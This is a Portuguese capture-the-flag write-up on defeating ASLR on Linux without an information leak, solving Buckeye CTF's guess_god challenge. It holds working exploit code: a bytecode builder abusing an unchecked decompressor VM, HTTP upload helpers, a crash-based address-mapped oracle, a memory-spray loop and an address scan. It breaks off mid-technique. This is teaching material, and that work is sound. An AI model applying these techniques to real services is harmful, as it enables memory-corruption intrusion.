
ASLR bypass sem infoleak
Neste artigo, vou discutir a aplicação da técnica descrita por Samuel Groß em sua Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, para contornar o ASLR no Linux x86_64.
Para demonstrar isso, vou resolver um desafio pwnable do Buckeye CTF, o guess_god.
Vou tentar manter o conteúdo o mais amigável possível para iniciantes, então fique à vontade para pular qualquer seção se você se sentir confiante e quiser apenas ver o exploit.

Eu não joguei o CTF, mas me interessei pelo desafio cerca de 2 horas antes do fim do CTF graças ao Guray00, que estava pedindo ajuda no discord do fibonhack sobre algumas artimanhas de criptografia.
Não consegui ajudá-lo, mas dei uma olhada nos desafios pwnable e pensei que seria bom entender o post do blog da P0 e, quem sabe, conseguir aquela recompensa.
Randomização do Layout do Espaço de Endereço (ASLR) é uma técnica de segurança de computadores que envolve posicionar aleatoriamente o endereço base de um executável e a posição das bibliotecas, heap e stack, no espaço de endereço de um processo.
No Linux, você pode inspecionar os mapeamentos de um processo dado o seu pid através do procfs, lendo o arquivo /proc/<pid>/maps.
Se você é um processo e quer conhecer seus próprios mapeamentos de memória, pode ler /proc/self/maps.
Por exemplo, você pode tentar ler /proc/self/maps com cat:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### Padrões de mapeamentos de memória
Se você fizer isso algumas vezes, poderá deduzir que:
* A base PIE do binário deve estar no intervalo 0x00005500_00000000-0x00005700_00000000, o que significa 2TB de endereços possíveis.
* O heap fica próximo ao binário.
* As bibliotecas ficam no intervalo 0x00007f00_00000000 - 0x00007fff_ffffffff, 1TB de endereços possíveis.
* A pilha fica \(na maioria das vezes\) no intervalo 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16gb de endereços possíveis.
* O intervalo 0xffffffffff600000 - 0xffffffffff601000 está sempre mapeado; você pode ler [este artigo](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) se tiver curiosidade sobre o que é.
## 1.3 Como contornar o ASLR sem vazamento de informações
Vamos discutir o que você pode fazer para contornar o ASLR quando nenhum vazamento de informações é possível.
Esta é a minha tentativa de resumir o que aprendi lendo o post do blog do Saelo.
Para contornar o ASLR, você precisa de:
* Uma técnica de memory spraying, que permite mapear memória contígua de um determinado tamanho, em um determinado intervalo de endereços.
Como ele diz, há duas maneiras de fazer isso:
1. Ao abusar de um memory leak (não um vazamento de informações!), um bug no qual um bloco de memória é “esquecido” e nunca liberado, e ao acioná-lo várias vezes até que a quantidade desejada de memória tenha sido vazada.
2. Ao encontrar e abusar de um “amplification gadget”: um pedaço de código que pega um bloco de dados existente e o copia, potencialmente várias vezes, permitindo assim que o atacante pulverize uma grande quantidade de memória enviando apenas um número relativamente pequeno de bytes.
* Um oráculo `isAddressMapped`, que, dado um endereço, diz se esse endereço está ou não mapeado.
### PoC de bypass de ASLR no Linux
Vamos tentar reproduzir o PoC do saelo para quebrar completamente o aslr no Linux.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> PoC do saelo</i> <p/> <br/>
No Linux não é tão fácil, só é possível quebrar completamente o ASLR se você for capaz de alocar 16TB de memória.```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
Das notas de man malloc:
Portanto, void *mem = malloc(size) acabará chamando mmap(size + malloc_metadata_size, ...)
Como as bibliotecas são mapeadas no processo por meio de mmap pelo ld, essas alocações acabarão perto das bibliotecas.
Se você olhar os endereços retornados por malloc, entenderá melhor o que está acontecendo. Dica: observe os bytes mais significativos.
| mem | cruzou o limite de 16tb? |
|---|---|
| 0x7fb03b55e010 | Não |
| 0x7fa03b55d010 | Não |
| 0x7f903b55c010 | Não |
| 0x7f803b55b010 | Não |
| 0x7f703b55a010 | Não |
| 0x7f603b559010 | Não |
| 0x7f503b558010 | Não |
| 0x7f403b557010 | Não |
| 0x7f303b556010 | Não |
| 0x7f203b555010 | Não |
| 0x7f103b554010 | Não |
| 0x7f003b553010 | Não |
| 0x7ef03b552010 | Sim |
| 0x7ee03b551010 | Sim |
| 0x7ed03b550010 | Sim |
| 0x7ec03b54f010 | Sim |
O PoC está explorando o fato de que, em algum momento, o byte mais significativo do endereço retornado muda de 7F para 7E e, como as alocações são contíguas, deve haver algo dentro desse intervalo. (Sim, estamos aplicando o teorema de Bolzano-Weirstress para resolver este problema!)
Graças ao autor, o zip contém binários, código-fonte e dockerfile para reproduzir o mesmo ambiente do remoto.

Sempre é bom obter algum conhecimento sobre o ambiente; vamos percorrer os arquivos e fazer algumas anotações.
Compilar e instalar o oatpp 1.2.5, talvez haja bugs úteis nesta versão específica?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
Ele compila o desafio do zero
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
Isso pode ser um problema, então vamos copiar os binários distribuídos em vez disso.
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
After doing `docker-compose build` you can execute `docker-compose up` to start the container, and connect to the challenge with `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. Análise do código-fonte
Agora que temos algum conhecimento básico sobre o que devemos fazer para contornar o ASLR, vamos analisar o código-fonte, tendo em mente que queremos:
* uma forma de pulverizar memória em faixas conhecidas de memória
* um oráculo isAddrMapped
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Pasta do código-fonte </i><p/>
É principalmente código de cola para colocar um servidor web oatpp em funcionamento; na verdade, os arquivos importantes que vamos analisar são:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
Existem 3 endpoints:
* `/`
* `GET /files/{fileId}` -> Baixa um arquivo enviado anteriormente; se extract for true, extrai antes de baixá-lo.
* `POST /upload/{fileId}` -> Envia um arquivo dado um {fileId}.
E uma função implementada em `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
qual:
Defina to_open como {file_id} ou {file_id}.unkyle ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
Se for a primeira vez que estamos solicitando a extração de {file_id}, então ele chama decompress nele,
que gravará o arquivo descomprimido de {file_id} para {file_id}.unkyle. ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
No final, mmap o resultado na memória. ```C
struct stat sb;
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
fork() cria um novo processo duplicando o processo chamador; no momento de fork(), ambos os espaços de memória têm o mesmo conteúdo.
Portanto, se conseguirmos transformar decompress() em um oráculo que:
Poderíamos usar essa primitiva para inferir o espaço de memória do processo pai.
Há uma chamada a mmap no processo pai: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
se pudermos controlar sb.st_size, que é o tamanho do ficheiro descomprimido, poderíamos facilmente transformá-lo numa primitiva de memory spraying.
int decompress(const char *fname)
* Mapeia o arquivo de entrada para o endereço `0x42069000000`.
* Mapeia o arquivo de saída para o endereço `0x13371337000`.
* Chama do_decompress(), que conclui a descompressão.
O arquivo deve estar no formato:
| offset | nome | tipo | descrição |
| - | - | - | - |
| +0h | magic | uint64 | um valor mágico, espera-se que seja 0x0123456789abcdef |
| +8h | filesize | uint64 | tamanho do arquivo descomprimido |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
Você pode ver esta função como uma simples máquina virtual, que executa o bytecode apontado por in e escreve a saída no buffer apontado por out.
in aponta para o nosso {file_id}.
out aponta para {file_id.unkyle}.
Esta VM possui 4 opcodes:
0 -> NOP
1 -> STORE(u8 b)
escreve b em out, incrementa out em 1.
Implementação do opcode: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
defina out como out + off.
out e off são valores de 64 bits, portanto out = out+off é equivalente a out = (out+off) % MAX_64BIT_VALUE, isso é chamado de estouro de inteiro e podemos explorar esse comportamento para alcançar qualquer valor de 64 bits. Exemplo: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
Implementação do opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
Copie `size` bytes de `out - off` para `out`, incrementando `out` em 8.
Implementação do Opcode: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
Não há verificação de limites em nenhuma das operações, o que nos dá 2 primitivas úteis:
SEEK+LOADSEEK+STOREUsei este código para construir o bytecode:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. Interagindo com o binário
Antes de mergulhar na fase de exploração, é sempre bom construir algo que permita interagir facilmente com o binário, para evitar perder tempo.```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
Isso foi muito importante para mim ao tentar resolver o desafio: fiquei observando os mapeamentos de memória por bastante tempo.
Para fazer isso, você pode criar uma instância local do desafio e ler os mapas do processo após realizar algumas operações.

Temos uma primitiva read what where, então construir um oráculo isAddrMapped não é nada difícil.
Minha maneira de fazer isso foi montar este bytecode:
memcpy(out, targetAddress, 1)write(b'A')Se targetAddress não estiver mapeado, o programa filho falha com segfault no memcpy, dando-nos um arquivo descomprimido preenchido com bytes nulos.
Se targetAddress estiver mapeado, o arquivo descomprimido tem um b'\x41' como segundo byte.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 Primitiva de Memory Spray
Podemos controlar completamente o tamanho do arquivo descompactado e obtemos um mmap desse tamanho em [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).
No meu exploit eu usei a função `isAddrMapped` e alterei o filelen.
Por exemplo, vamos tentar alocar um bloco contíguo de tamanho = 0x4000000 = 64mb```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
Esse é o resultado:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
Se você tentar fazer de novo:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
Esse é o resultado:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
Nice! Múltiplas alocações não terão lacunas.
## 4.4 Quanta memória pulverizar?
Como você pode ver [neste poc](#poc-of-aslr-bypass-on-linux), o tamanho ideal para a memória mapeada contígua seria de 16 TB.
Infelizmente, se você tentar alocar 16 TB de memória no servidor remoto, o mmap falhará, porque o [nsjail limita isso](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).
Depois de algumas tentativas e erros, descobri que consigo pulverizar cerca de 3840 MB de memória, com este código:```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
os mapeamentos de memória resultantes serão algo assim:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
Vamos focar nossa atenção nos endereços criados com o memory spraying. \(*.unkyle files \)
Podemos tentar aplicar o [truque de cruzamento de fronteira](#Boundary-cross-trick).
| mem | 4gb cruzamento de fronteira?
| - |-
| 7fe2dc000000 | Não
| 7fe2e0000000 | Não
| 7fe2e4000000 | Não
| 7fe2e8000000 | Não
| 7fe2ec000000 | Não
| 7fe2f0000000 | Não
| 7fe2f4000000 | Não
| 7fe2f8000000 | Não
| 7fe2fc000000 | Não
| 7fe300000000 | Sim
| 7fe304000000 | Sim
| 7fe308000000 | Sim
Ao explorar a mudança de 7fe2.. para 7fe3.., podemos varrer a memória com um passo de 0x100000000 = 4gb de memória.
## 4.5 Finalmente derrotando o ASLR
Dado esse tamanho de passo, podemos varrer de `start=0x7f0000000000` até `end=0x800000000000` com apenas `end - start / size` = 256 consultas.```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
Neste ponto, temos leakAddr que é um endereço mapeado como este: 0x7fXX00000000, neste caso, leakAddr = 0x7fe300000000.
Agora, se quisermos seguir a técnica do saelo, devemos fazer uma busca binária no intervalo 0x7fXX00000000 - 0x7fXXffffffff, a fim de encontrar os limites inferior e superior; o problema é que existem algumas lacunas nesse intervalo, então a busca binária falha muitas vezes.
Você pode verificar por si mesmo com este script:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
Essa pequena lacuna entre 0x00007f763c000000 e 0x00007f763ccaa000 atrapalha a busca binária, claro que ainda é viável, mas encontrei um caminho mais fácil.
### Observação
Queremos obter o último endereço mapeado, porque é onde as bibliotecas são mapeadas.
Por exemplo, dados esses mapeamentos para as bibliotecas:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
Podemos procurar o endereço 7fe3d6a5b000 - 0x1000 com este truque:
| endereço | está mapeado? |
|---|---|
| 0x7fe3f0000000 | Não |
| 0x7fe3e0000000 | Não |
| 0x7fe3d0000000 | Sim |
| 0x7fe3df000000 | Não |
| 0x7fe3de000000 | Não |
| 0x7fe3dd000000 | Não |
| 0x7fe3dc000000 | Não |
| 0x7fe3db000000 | Não |
| 0x7fe3da000000 | Não |
| 0x7fe3d9000000 | Não |
| 0x7fe3d8000000 | Não |
| 0x7fe3d7000000 | Não |
| 0x7fe3d6000000 | Sim |
| 0x7fe3d6f00000 | Não |
| 0x7fe3d6e00000 | Não |
| 0x7fe3d6d00000 | Não |
| 0x7fe3d6c00000 | Não |
| 0x7fe3d6b00000 | Não |
| 0x7fe3d6a00000 | Sim |
| 0x7fe3d6af0000 | Não |
| 0x7fe3d6ae0000 | Não |
| 0x7fe3d6ad0000 | Não |
| 0x7fe3d6ac0000 | Não |
